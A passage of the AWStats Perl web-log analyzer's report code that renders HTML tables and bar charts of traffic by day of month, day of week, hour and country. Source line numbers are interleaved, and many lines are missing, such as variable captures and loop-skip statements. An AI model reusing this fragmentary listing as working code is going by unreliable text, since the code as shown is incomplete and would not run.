if ($Debug) { debug( "ShowDaysOfMonthStats", 2 ); }
16534
print "$Center<a name=\"daysofmonth\"> </a><br />\n";
16535
my $title = "$Message[138]";
16536
&tab_head( "$title", 0, 0, 'daysofmonth' );
16538
print "<td align=\"center\">\n";
16539
print "<center>\n";
16541
my $NewLinkParams = ${QueryString};
16542
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
16543
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
16544
$NewLinkParams =~ s/(^|&|&)year=[^&]*//i;
16545
$NewLinkParams =~ s/(^|&|&)month=[^&]*//i;
16546
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
16547
$NewLinkParams =~ s/(&|&)+/&/i;
16548
$NewLinkParams =~ s/^&//;
16549
$NewLinkParams =~ s/&$//;
16550
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
16551
my $NewLinkTarget = '';
16553
if ( $FrameName eq 'mainright' ) {
16554
$NewLinkTarget = " target=\"_parent\"";
16557
$average_nb = $average_u = $average_v = $average_p = $average_h =
16559
$total_u = $total_v = $total_p = $total_h = $total_k = 0;
16561
# Define total and max
16562
$max_v = $max_h = $max_k =
16563
0; # Start from 0 because can be lower than 1
16564
foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16566
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16570
if ( !DateIsValid( $day, $month, $year ) ) {
16572
} # If not an existing day, go to next
16573
$total_v += $DayVisits{ $year . $month . $day } || 0;
16574
$total_p += $DayPages{ $year . $month . $day } || 0;
16575
$total_h += $DayHits{ $year . $month . $day } || 0;
16576
$total_k += $DayBytes{ $year . $month . $day } || 0;
16577
if ( ( $DayVisits{ $year . $month . $day } || 0 ) > $max_v ) {
16578
$max_v = $DayVisits{ $year . $month . $day };
16581
#if (($DayPages{$year.$month.$day}||0) > $max_p) { $max_p=$DayPages{$year.$month.$day}; }
16582
if ( ( $DayHits{ $year . $month . $day } || 0 ) > $max_h ) {
16583
$max_h = $DayHits{ $year . $month . $day };
16585
if ( ( $DayBytes{ $year . $month . $day } || 0 ) > $max_k ) {
16586
$max_k = $DayBytes{ $year . $month . $day };
16591
foreach my $daycursor (
16592
$firstdaytocountaverage .. $lastdaytocountaverage )
16594
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16598
if ( !DateIsValid( $day, $month, $year ) ) {
16600
} # If not an existing day, go to next
16601
$average_nb++; # Increase number of day used to count
16602
$average_v += ( $DayVisits{$daycursor} || 0 );
16603
$average_p += ( $DayPages{$daycursor} || 0 );
16604
$average_h += ( $DayHits{$daycursor} || 0 );
16605
$average_k += ( $DayBytes{$daycursor} || 0 );
16608
$average_v = $average_v / $average_nb;
16609
$average_p = $average_p / $average_nb;
16610
$average_h = $average_h / $average_nb;
16611
$average_k = $average_k / $average_nb;
16612
if ( $average_v > $max_v ) { $max_v = $average_v; }
16614
#if ($average_p > $max_p) { $max_p=$average_p; }
16615
if ( $average_h > $max_h ) { $max_h = $average_h; }
16616
if ( $average_k > $max_k ) { $max_k = $average_k; }
16625
# Show bars for day
16626
if ( $PluginsLoaded{'ShowGraph'}{'graphapplet'} ) {
16627
my @blocklabel = ();
16629
my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16631
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16635
if ( !DateIsValid( $day, $month, $year ) ) {
16637
} # If not an existing day, go to next
16640
&& $month == $nowmonth
16641
&& $year == $nowyear ? ':' : '' );
16643
( DayOfWeek( $day, $month, $year ) =~ /[06]/ ? '!' : '' );
16645
"$day�$MonthNumLib{$month}$weekend$bold";
16648
"$Message[10]", "$Message[56]",
16649
"$Message[57]", "$Message[75]"
16652
( "$color_v", "$color_p", "$color_h", "$color_k" );
16653
my @valmax = ( $max_v, $max_h, $max_h, $max_k );
16654
my @valtotal = ( $total_v, $total_p, $total_h, $total_k );
16655
$average_v = sprintf( "%.2f", $average_v );
16656
$average_p = sprintf( "%.2f", $average_p );
16657
$average_h = sprintf( "%.2f", $average_h );
16660
? Format_Bytes( sprintf( "%.2f", $average_k ) )
16664
( $average_v, $average_p, $average_h, $average_k );
16669
my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16671
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16675
if ( !DateIsValid( $day, $month, $year ) ) {
16677
} # If not an existing day, go to next
16678
$valdata[ $xx++ ] = $DayVisits{ $year . $month . $day }
16680
$valdata[ $xx++ ] = $DayPages{ $year . $month . $day } || 0;
16681
$valdata[ $xx++ ] = $DayHits{ $year . $month . $day } || 0;
16682
$valdata[ $xx++ ] = $DayBytes{ $year . $month . $day } || 0;
16684
ShowGraph_graphapplet(
16685
"$title", "daysofmonth",
16686
$ShowDaysOfMonthStats, \@blocklabel,
16687
\@vallabel, \@valcolor,
16688
\@valmax, \@valtotal,
16689
\@valaverage, \@valdata
16694
print "<tr valign=\"bottom\">\n";
16696
my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16698
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16702
if ( !DateIsValid( $day, $month, $year ) ) {
16704
} # If not an existing day, go to next
16709
if ( $max_v > 0 ) {
16711
int( ( $DayVisits{ $year . $month . $day } || 0 ) /
16712
$max_v * $BarHeight ) + 1;
16714
if ( $max_h > 0 ) {
16716
int( ( $DayPages{ $year . $month . $day } || 0 ) /
16717
$max_h * $BarHeight ) + 1;
16719
if ( $max_h > 0 ) {
16721
int( ( $DayHits{ $year . $month . $day } || 0 ) /
16722
$max_h * $BarHeight ) + 1;
16724
if ( $max_k > 0 ) {
16726
int( ( $DayBytes{ $year . $month . $day } || 0 ) /
16727
$max_k * $BarHeight ) + 1;
16730
if ( $ShowDaysOfMonthStats =~ /V/i ) {
16732
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
16733
. AltTitle( "$Message[10]: "
16734
. int( $DayVisits{ $year . $month . $day } || 0 )
16738
if ( $ShowDaysOfMonthStats =~ /P/i ) {
16740
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
16741
. AltTitle( "$Message[56]: "
16742
. int( $DayPages{ $year . $month . $day } || 0 ) )
16745
if ( $ShowDaysOfMonthStats =~ /H/i ) {
16747
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
16748
. AltTitle( "$Message[57]: "
16749
. int( $DayHits{ $year . $month . $day } || 0 ) )
16752
if ( $ShowDaysOfMonthStats =~ /B/i ) {
16754
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
16758
$DayBytes{ $year . $month . $day }
16765
print "<td> </td>";
16767
# Show average value cell
16773
if ( $max_v > 0 ) {
16774
$bredde_v = int( $average_v / $max_v * $BarHeight ) + 1;
16776
if ( $max_h > 0 ) {
16777
$bredde_p = int( $average_p / $max_h * $BarHeight ) + 1;
16779
if ( $max_h > 0 ) {
16780
$bredde_h = int( $average_h / $max_h * $BarHeight ) + 1;
16782
if ( $max_k > 0 ) {
16783
$bredde_k = int( $average_k / $max_k * $BarHeight ) + 1;
16785
$average_v = sprintf( "%.2f", $average_v );
16786
$average_p = sprintf( "%.2f", $average_p );
16787
$average_h = sprintf( "%.2f", $average_h );
16790
? Format_Bytes( sprintf( "%.2f", $average_k ) )
16793
if ( $ShowDaysOfMonthStats =~ /V/i ) {
16795
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
16796
. AltTitle("$Message[10]: $average_v") . " />";
16798
if ( $ShowDaysOfMonthStats =~ /P/i ) {
16800
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
16801
. AltTitle("$Message[56]: $average_p") . " />";
16803
if ( $ShowDaysOfMonthStats =~ /H/i ) {
16805
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
16806
. AltTitle("$Message[57]: $average_h") . " />";
16808
if ( $ShowDaysOfMonthStats =~ /B/i ) {
16810
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
16811
. AltTitle("$Message[75]: $average_k") . " />";
16817
print "<tr valign=\"middle\">";
16819
my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16821
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16825
if ( !DateIsValid( $day, $month, $year ) ) {
16827
} # If not an existing day, go to next
16828
my $dayofweekcursor = DayOfWeek( $day, $month, $year );
16831
$dayofweekcursor =~ /[06]/
16832
? " bgcolor=\"#$color_weekend\""
16839
&& $month == $nowmonth
16840
&& $year == $nowyear
16841
? '<font class="currentday">'
16844
print "$day<br /><span style=\"font-size: "
16845
. ( $FrameName ne 'mainright'
16846
&& $QueryString !~ /buildpdf/i ? "9" : "8" )
16848
. $MonthNumLib{$month}
16850
print( !$StaticLinks
16852
&& $month == $nowmonth
16853
&& $year == $nowyear ? '</font>' : '' );
16856
print "<td> </td>";
16857
print "<td valign=\"middle\""
16859
. ">$Message[96]</td>\n";
16861
print "</table>\n";
16865
# Show data array for days
16866
if ($AddDataArrayShowDaysOfMonthStats) {
16869
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
16870
if ( $ShowDaysOfMonthStats =~ /V/i ) {
16871
print "<td width=\"80\" bgcolor=\"#$color_v\""
16873
. ">$Message[10]</td>";
16875
if ( $ShowDaysOfMonthStats =~ /P/i ) {
16876
print "<td width=\"80\" bgcolor=\"#$color_p\""
16878
. ">$Message[56]</td>";
16880
if ( $ShowDaysOfMonthStats =~ /H/i ) {
16881
print "<td width=\"80\" bgcolor=\"#$color_h\""
16883
. ">$Message[57]</td>";
16885
if ( $ShowDaysOfMonthStats =~ /B/i ) {
16886
print "<td width=\"80\" bgcolor=\"#$color_k\""
16888
. ">$Message[75]</td>";
16892
my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16894
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16898
if ( !DateIsValid( $day, $month, $year ) ) {
16900
} # If not an existing day, go to next
16901
my $dayofweekcursor = DayOfWeek( $day, $month, $year );
16904
$dayofweekcursor =~ /[06]/
16905
? " bgcolor=\"#$color_weekend\""
16913
&& $month == $nowmonth
16914
&& $year == $nowyear
16915
? '<font class="currentday">'
16918
print Format_Date( "$year$month$day" . "000000", 2 );
16919
print( !$StaticLinks
16921
&& $month == $nowmonth
16922
&& $year == $nowyear ? '</font>' : '' );
16924
if ( $ShowDaysOfMonthStats =~ /V/i ) {
16926
$DayVisits{ $year . $month . $day }
16927
? $DayVisits{ $year . $month . $day }
16930
if ( $ShowDaysOfMonthStats =~ /P/i ) {
16932
$DayPages{ $year . $month . $day }
16933
? $DayPages{ $year . $month . $day }
16936
if ( $ShowDaysOfMonthStats =~ /H/i ) {
16938
$DayHits{ $year . $month . $day }
16939
? $DayHits{ $year . $month . $day }
16942
if ( $ShowDaysOfMonthStats =~ /B/i ) {
16945
int( $DayBytes{ $year . $month . $day } || 0 ) ),
16953
"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[96]</td>";
16954
if ( $ShowDaysOfMonthStats =~ /V/i ) {
16955
print "<td>$average_v</td>";
16957
if ( $ShowDaysOfMonthStats =~ /P/i ) {
16958
print "<td>$average_p</td>";
16960
if ( $ShowDaysOfMonthStats =~ /H/i ) {
16961
print "<td>$average_h</td>";
16963
if ( $ShowDaysOfMonthStats =~ /B/i ) {
16964
print "<td>$average_k</td>";
16970
"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[102]</td>";
16971
if ( $ShowDaysOfMonthStats =~ /V/i ) {
16972
print "<td>$total_v</td>";
16974
if ( $ShowDaysOfMonthStats =~ /P/i ) {
16975
print "<td>$total_p</td>";
16977
if ( $ShowDaysOfMonthStats =~ /H/i ) {
16978
print "<td>$total_h</td>";
16980
if ( $ShowDaysOfMonthStats =~ /B/i ) {
16981
print "<td>" . Format_Bytes($total_k) . "</td>";
16984
print "</table>\n<br />";
16987
print "</center>\n";
16988
print "</td></tr>\n";
16993
#-------------------------
16994
if ($ShowDaysOfWeekStats) {
16995
if ($Debug) { debug( "ShowDaysOfWeekStats", 2 ); }
16996
print "$Center<a name=\"daysofweek\"> </a><br />\n";
16997
my $title = "$Message[91]";
16998
&tab_head( "$title", 18, 0, 'daysofweek' );
17000
print "<td align=\"center\">";
17001
print "<center>\n";
17003
$max_h = $max_k = 0; # Start from 0 because can be lower than 1
17004
# Get average value for day of week
17005
my @avg_dayofweek_nb = ();
17006
my @avg_dayofweek_p = ();
17007
my @avg_dayofweek_h = ();
17008
my @avg_dayofweek_k = ();
17009
foreach my $daycursor (
17010
$firstdaytocountaverage .. $lastdaytocountaverage )
17012
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
17016
if ( !DateIsValid( $day, $month, $year ) ) {
17018
} # If not an existing day, go to next
17019
my $dayofweekcursor = DayOfWeek( $day, $month, $year );
17020
$avg_dayofweek_nb[$dayofweekcursor]
17021
++; # Increase number of day used to count for this day of week
17022
$avg_dayofweek_p[$dayofweekcursor] +=
17023
( $DayPages{$daycursor} || 0 );
17024
$avg_dayofweek_h[$dayofweekcursor] +=
17025
( $DayHits{$daycursor} || 0 );
17026
$avg_dayofweek_k[$dayofweekcursor] +=
17027
( $DayBytes{$daycursor} || 0 );
17030
if ( $avg_dayofweek_nb[$_] ) {
17031
$avg_dayofweek_p[$_] =
17032
$avg_dayofweek_p[$_] / $avg_dayofweek_nb[$_];
17033
$avg_dayofweek_h[$_] =
17034
$avg_dayofweek_h[$_] / $avg_dayofweek_nb[$_];
17035
$avg_dayofweek_k[$_] =
17036
$avg_dayofweek_k[$_] / $avg_dayofweek_nb[$_];
17038
#if ($avg_dayofweek_p[$_] > $max_p) { $max_p = $avg_dayofweek_p[$_]; }
17039
if ( $avg_dayofweek_h[$_] > $max_h ) {
17040
$max_h = $avg_dayofweek_h[$_];
17042
if ( $avg_dayofweek_k[$_] > $max_k ) {
17043
$max_k = $avg_dayofweek_k[$_];
17047
$avg_dayofweek_p[$_] = "?";
17048
$avg_dayofweek_h[$_] = "?";
17049
$avg_dayofweek_k[$_] = "?";
17053
# Show bars for days of week
17054
if ( $PluginsLoaded{'ShowGraph'}{'graphapplet'} ) {
17055
my @blocklabel = ();
17058
( $Message[ $_ + 84 ] . ( $_ =~ /[06]/ ? "!" : "" ) );
17061
( "$Message[56]", "$Message[57]", "$Message[75]" );
17062
my @valcolor = ( "$color_p", "$color_h", "$color_k" );
17063
my @valmax = ( int($max_h), int($max_h), int($max_k) );
17064
my @valtotal = ( $total_p, $total_h, $total_k );
17065
$average_p = sprintf( "%.2f", $average_p );
17066
$average_h = sprintf( "%.2f", $average_h );
17069
? Format_Bytes( sprintf( "%.2f", $average_k ) )
17072
my @valaverage = ( $average_p, $average_h, $average_k );
17077
$valdata[ $xx++ ] = $avg_dayofweek_p[$_] || 0;
17078
$valdata[ $xx++ ] = $avg_dayofweek_h[$_] || 0;
17079
$valdata[ $xx++ ] = $avg_dayofweek_k[$_] || 0;
17081
# Round to be ready to show array
17082
$avg_dayofweek_p[$_] =
17083
sprintf( "%.2f", $avg_dayofweek_p[$_] );
17084
$avg_dayofweek_h[$_] =
17085
sprintf( "%.2f", $avg_dayofweek_h[$_] );
17086
$avg_dayofweek_k[$_] =
17087
sprintf( "%.2f", $avg_dayofweek_k[$_] );
17089
# Remove decimal part that are .0
17090
if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
17091
$avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
17093
if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
17094
$avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
17097
ShowGraph_graphapplet(
17098
"$title", "daysofweek",
17099
$ShowDaysOfWeekStats, \@blocklabel,
17100
\@vallabel, \@valcolor,
17101
\@valmax, \@valtotal,
17102
\@valaverage, \@valdata
17107
print "<tr valign=\"bottom\">\n";
17112
if ( $max_h > 0 ) {
17115
$avg_dayofweek_p[$_] ne '?'
17116
? $avg_dayofweek_p[$_]
17118
) / $max_h * $BarHeight
17121
if ( $max_h > 0 ) {
17124
$avg_dayofweek_h[$_] ne '?'
17125
? $avg_dayofweek_h[$_]
17127
) / $max_h * $BarHeight
17130
if ( $max_k > 0 ) {
17133
$avg_dayofweek_k[$_] ne '?'
17134
? $avg_dayofweek_k[$_]
17136
) / $max_k * $BarHeight
17139
$avg_dayofweek_p[$_] = sprintf(
17142
$avg_dayofweek_p[$_] ne '?'
17143
? $avg_dayofweek_p[$_]
17147
$avg_dayofweek_h[$_] = sprintf(
17150
$avg_dayofweek_h[$_] ne '?'
17151
? $avg_dayofweek_h[$_]
17155
$avg_dayofweek_k[$_] = sprintf(
17158
$avg_dayofweek_k[$_] ne '?'
17159
? $avg_dayofweek_k[$_]
17164
# Remove decimal part that are .0
17165
if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
17166
$avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
17168
if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
17169
$avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
17171
print "<td valign=\"bottom\">";
17172
if ( $ShowDaysOfWeekStats =~ /P/i ) {
17174
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
17175
. AltTitle("$Message[56]: $avg_dayofweek_p[$_]")
17178
if ( $ShowDaysOfWeekStats =~ /H/i ) {
17180
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
17181
. AltTitle("$Message[57]: $avg_dayofweek_h[$_]")
17184
if ( $ShowDaysOfWeekStats =~ /B/i ) {
17186
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
17187
. AltTitle( "$Message[75]: "
17188
. Format_Bytes( $avg_dayofweek_k[$_] ) )
17194
print "<tr" . Tooltip(17) . ">\n";
17197
. ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
17201
&& $_ == ( $nowwday - 1 )
17202
&& $MonthRequired == $nowmonth
17203
&& $YearRequired == $nowyear
17204
? '<font class="currentday">'
17207
print $Message[ $_ + 84 ];
17208
print( !$StaticLinks
17209
&& $_ == ( $nowwday - 1 )
17210
&& $MonthRequired == $nowmonth
17211
&& $YearRequired == $nowyear ? '</font>' : '' );
17214
print "</tr>\n</table>\n";
17218
# Show data array for days of week
17219
if ($AddDataArrayShowDaysOfWeekStats) {
17222
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
17223
if ( $ShowDaysOfWeekStats =~ /P/i ) {
17224
print "<td width=\"80\" bgcolor=\"#$color_p\""
17226
. ">$Message[56]</td>";
17228
if ( $ShowDaysOfWeekStats =~ /H/i ) {
17229
print "<td width=\"80\" bgcolor=\"#$color_h\""
17231
. ">$Message[57]</td>";
17233
if ( $ShowDaysOfWeekStats =~ /B/i ) {
17234
print "<td width=\"80\" bgcolor=\"#$color_k\""
17236
. ">$Message[75]</td></tr>";
17240
. ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
17245
&& $_ == ( $nowwday - 1 )
17246
&& $MonthRequired == $nowmonth
17247
&& $YearRequired == $nowyear
17248
? '<font class="currentday">'
17251
print $Message[ $_ + 84 ];
17252
print( !$StaticLinks
17253
&& $_ == ( $nowwday - 1 )
17254
&& $MonthRequired == $nowmonth
17255
&& $YearRequired == $nowyear ? '</font>' : '' );
17257
if ( $ShowDaysOfWeekStats =~ /P/i ) {
17258
print "<td>", $avg_dayofweek_p[$_], "</td>";
17260
if ( $ShowDaysOfWeekStats =~ /H/i ) {
17261
print "<td>", $avg_dayofweek_h[$_], "</td>";
17263
if ( $ShowDaysOfWeekStats =~ /B/i ) {
17264
print "<td>", Format_Bytes( $avg_dayofweek_k[$_] ),
17269
print "</table>\n<br />\n";
17272
print "</center></td>";
17278
#----------------------------
17279
if ($ShowHoursStats) {
17280
if ($Debug) { debug( "ShowHoursStats", 2 ); }
17281
print "$Center<a name=\"hours\"> </a><br />\n";
17282
my $title = "$Message[20]";
17283
if ( $PluginsLoaded{'GetTimeZoneTitle'}{'timezone'} ) {
17285
. ( GetTimeZoneTitle_timezone() >= 0 ? "+" : "" )
17286
. int( GetTimeZoneTitle_timezone() ) . ")";
17288
&tab_head( "$title", 19, 0, 'hours' );
17289
print "<tr><td align=\"center\">\n";
17290
print "<center>\n";
17292
$max_h = $max_k = 1;
17293
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
17295
#if ($_time_p[$ix]>$max_p) { $max_p=$_time_p[$ix]; }
17296
if ( $_time_h[$ix] > $max_h ) { $max_h = $_time_h[$ix]; }
17297
if ( $_time_k[$ix] > $max_k ) { $max_k = $_time_k[$ix]; }
17300
# Show bars for hour
17301
if ( $PluginsLoaded{'ShowGraph'}{'graphapplet'} ) {
17302
my @blocklabel = ( 0 .. 23 );
17304
( "$Message[56]", "$Message[57]", "$Message[75]" );
17305
my @valcolor = ( "$color_p", "$color_h", "$color_k" );
17306
my @valmax = ( int($max_h), int($max_h), int($max_k) );
17307
my @valtotal = ( $total_p, $total_h, $total_k );
17308
my @valaverage = ( $average_p, $average_h, $average_k );
17312
$valdata[ $xx++ ] = $_time_p[$_] || 0;
17313
$valdata[ $xx++ ] = $_time_h[$_] || 0;
17314
$valdata[ $xx++ ] = $_time_k[$_] || 0;
17316
ShowGraph_graphapplet(
17318
$ShowHoursStats, \@blocklabel,
17319
\@vallabel, \@valcolor,
17320
\@valmax, \@valtotal,
17321
\@valaverage, \@valdata
17326
print "<tr valign=\"bottom\">\n";
17327
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
17331
if ( $max_h > 0 ) {
17333
int( $BarHeight * $_time_p[$ix] / $max_h ) + 1;
17335
if ( $max_h > 0 ) {
17337
int( $BarHeight * $_time_h[$ix] / $max_h ) + 1;
17339
if ( $max_k > 0 ) {
17341
int( $BarHeight * $_time_k[$ix] / $max_k ) + 1;
17344
if ( $ShowHoursStats =~ /P/i ) {
17346
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
17347
. AltTitle( "$Message[56]: " . int( $_time_p[$ix] ) )
17350
if ( $ShowHoursStats =~ /H/i ) {
17352
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
17353
. AltTitle( "$Message[57]: " . int( $_time_h[$ix] ) )
17356
if ( $ShowHoursStats =~ /B/i ) {
17358
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
17360
"$Message[75]: " . Format_Bytes( $_time_k[$ix] ) )
17368
print "<tr" . Tooltip(17) . ">";
17369
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
17370
print "<th width=\"19\">$ix</th>\n"
17371
; # width=19 instead of 18 to avoid a MacOS browser bug.
17376
print "<tr" . Tooltip(17) . ">\n";
17377
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
17378
my $hrs = ( $ix >= 12 ? $ix - 12 : $ix );
17379
my $hre = ( $ix >= 12 ? $ix - 11 : $ix + 1 );
17380
my $apm = ( $ix >= 12 ? "pm" : "am" );
17382
"<td><img src=\"$DirIcons\/clock\/hr$hre.png\" width=\"12\" alt=\"$hrs:00 - $hre:00 $apm\" /></td>\n";
17385
print "</table>\n";
17389
# Show data array for hours
17390
if ($AddDataArrayShowHoursStats) {
17391
print "<table width=\"650\"><tr>\n";
17392
print "<td align=\"center\"><center>\n";
17396
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
17397
if ( $ShowHoursStats =~ /P/i ) {
17398
print "<td width=\"80\" bgcolor=\"#$color_p\""
17400
. ">$Message[56]</td>";
17402
if ( $ShowHoursStats =~ /H/i ) {
17403
print "<td width=\"80\" bgcolor=\"#$color_h\""
17405
. ">$Message[57]</td>";
17407
if ( $ShowHoursStats =~ /B/i ) {
17408
print "<td width=\"80\" bgcolor=\"#$color_k\""
17410
. ">$Message[75]</td>";
17413
for ( my $ix = 0 ; $ix <= 11 ; $ix++ ) {
17414
my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
17416
print "<td>$monthix</td>";
17417
if ( $ShowHoursStats =~ /P/i ) {
17419
$_time_p[$monthix] ? $_time_p[$monthix] : "0",
17422
if ( $ShowHoursStats =~ /H/i ) {
17424
$_time_h[$monthix] ? $_time_h[$monthix] : "0",
17427
if ( $ShowHoursStats =~ /B/i ) {
17428
print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
17433
print "</table>\n";
17435
print "</center></td>";
17436
print "<td width=\"10\"> </td>";
17437
print "<td align=\"center\"><center>\n";
17441
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
17442
if ( $ShowHoursStats =~ /P/i ) {
17443
print "<td width=\"80\" bgcolor=\"#$color_p\""
17445
. ">$Message[56]</td>";
17447
if ( $ShowHoursStats =~ /H/i ) {
17448
print "<td width=\"80\" bgcolor=\"#$color_h\""
17450
. ">$Message[57]</td>";
17452
if ( $ShowHoursStats =~ /B/i ) {
17453
print "<td width=\"80\" bgcolor=\"#$color_k\""
17455
. ">$Message[75]</td>";
17458
for ( my $ix = 12 ; $ix <= 23 ; $ix++ ) {
17459
my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
17461
print "<td>$monthix</td>";
17462
if ( $ShowHoursStats =~ /P/i ) {
17464
$_time_p[$monthix] ? $_time_p[$monthix] : "0",
17467
if ( $ShowHoursStats =~ /H/i ) {
17469
$_time_h[$monthix] ? $_time_h[$monthix] : "0",
17472
if ( $ShowHoursStats =~ /B/i ) {
17473
print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
17478
print "</table>\n";
17480
print "</center></td></tr></table>\n";
17484
print "</center></td></tr>\n";
17488
print "\n<a name=\"who\"> </a>\n\n";
17490
# BY COUNTRY/DOMAIN
17491
#---------------------------
17492
if ($ShowDomainsStats) {
17493
if ($Debug) { debug( "ShowDomainsStats", 2 ); }
17494
print "$Center<a name=\"countries\"> </a><br />\n";
17496
"$Message[25] ($Message[77] $MaxNbOf{'Domain'}) - <a href=\""
17498
$ENV{'GATEWAY_INTERFACE'}
17500
? XMLEncode("$AWScript?${NewLinkParams}output=alldomains")
17501
: "$PROG$StaticLinks.alldomains.$StaticExt"
17503
. "\"$NewLinkTarget>$Message[80]</a>";
17504
&tab_head( "$title", 19, 0, 'countries' );
17506
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>";
17508
## to add unique visitors and number of visits by calculation of average of the relation with total
17509
## pages and total hits, and total visits and total unique
17510
## by Josep Ruano @ CAPSiDE
17511
if ( $ShowDomainsStats =~ /U/i ) {
17512
print "<th bgcolor=\"#$color_u\" width=\"80\""
17514
. ">$Message[11]</th>";
17516
if ( $ShowDomainsStats =~ /V/i ) {
17517
print "<th bgcolor=\"#$color_v\" width=\"80\""
17519
. ">$Message[10]</th>";
17521
if ( $ShowDomainsStats =~ /P/i ) {
17522
print "<th bgcolor=\"#$color_p\" width=\"80\""
17524
. ">$Message[56]</th>";
17526
if ( $ShowDomainsStats =~ /H/i ) {
17527
print "<th bgcolor=\"#$color_h\" width=\"80\""
17529
. ">$Message[57]</th>";
17531
if ( $ShowDomainsStats =~ /B/i ) {
17532
print "<th bgcolor=\"#$color_k\" width=\"80\""
17534
. ">$Message[75]</th>";
17536
print "<th> </th>";
17538
$total_u = $total_v = $total_p = $total_h = $total_k = 0;
17540
foreach ( values %_domener_h ) {
17541
if ( $_ > $max_h ) { $max_h = $_; }
17544
foreach ( values %_domener_k ) {
17545
if ( $_ > $max_k ) { $max_k = $_; }
17549
$MaxNbOf{'Domain'}, $MinHit{'Domain'},
17550
\%_domener_h, \%_domener_p
17552
foreach my $key (@keylist) {
17553
my ( $_domener_u, $_domener_v );
17559
if ( $max_h > 0 ) {
17561
int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
17562
} # use max_h to enable to compare pages with hits
17563
if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
17564
if ( $max_h > 0 ) {
17566
int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
17568
if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
17569
if ( $max_k > 0 ) {
17571
int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
17574
if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
17575
my $newkey = lc($key);
17576
if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
17578
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
17579
. AltTitle("$Message[0]")
17580
. " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
17584
